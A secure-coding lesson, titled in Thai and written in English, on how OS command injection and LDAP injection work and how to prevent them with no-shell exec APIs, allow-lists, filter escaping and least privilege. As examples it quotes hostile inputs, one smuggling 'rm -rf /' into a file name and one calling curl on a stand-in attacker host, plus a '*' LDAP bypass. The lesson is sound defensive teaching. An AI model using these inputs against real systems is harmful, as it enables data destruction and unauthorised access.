การป้องกันการแทรกคำสั่งระบบและ LDAP

Injection is not limited to SQL. Any time untrusted input is mixed into a command interpreter, you risk injection. Two dangerous cousins are OS command injection and LDAP injection.

This lesson shows how both work and how to stop them.

Command injection happens when user input is passed to a shell. Shell metacharacters like ;, &&, and | let an attacker append their own commands.

• Input file.txt; rm -rf / can delete data
• Input $(curl evil.com) can exfiltrate or download

The danger is invoking a shell with a concatenated string. Here the user controls part of the command line.

The fix is to avoid the shell entirely. Pass arguments as a list to an exec-style API so the OS treats input as a single argument, never as syntax.

When input feeds a command, restrict it to a known-good pattern. An allow-list rejects anything outside an expected set instead of trying to block bad characters.

Never enable shell=True, eval, or string-based command builders with untrusted data. If you must use a shell, escape arguments with the platform quoting function, but prefer the no-shell approach.

LDAP injection targets directory queries used in authentication and lookups. Special characters like *, (, ), and \ alter the filter logic.

An input of * in a username field can match every entry, bypassing access checks.

Building filters by string concatenation lets attackers rewrite the query.

Escape special characters before inserting them into a filter, per RFC 4515. Most LDAP libraries provide an escape helper, use it for every dynamic value.

Combine safe APIs, allow-list validation, and least privilege. Run processes under low-privilege accounts so even a successful injection cannot do much.

• No shell where possible
• Validate every input
• Drop privileges before executing

Probe inputs with metacharacters during testing: semicolons and pipes for command fields, asterisks and parentheses for LDAP fields. Automated DAST tools and code review both help catch these flaws early.

Test your understanding of injection defenses.

You learned how command injection and LDAP injection work and how to stop them: avoid the shell with safe exec APIs, use allow-list validation, escape LDAP special characters, and apply least privilege. Treat every interpreter boundary as a place where injection can occur.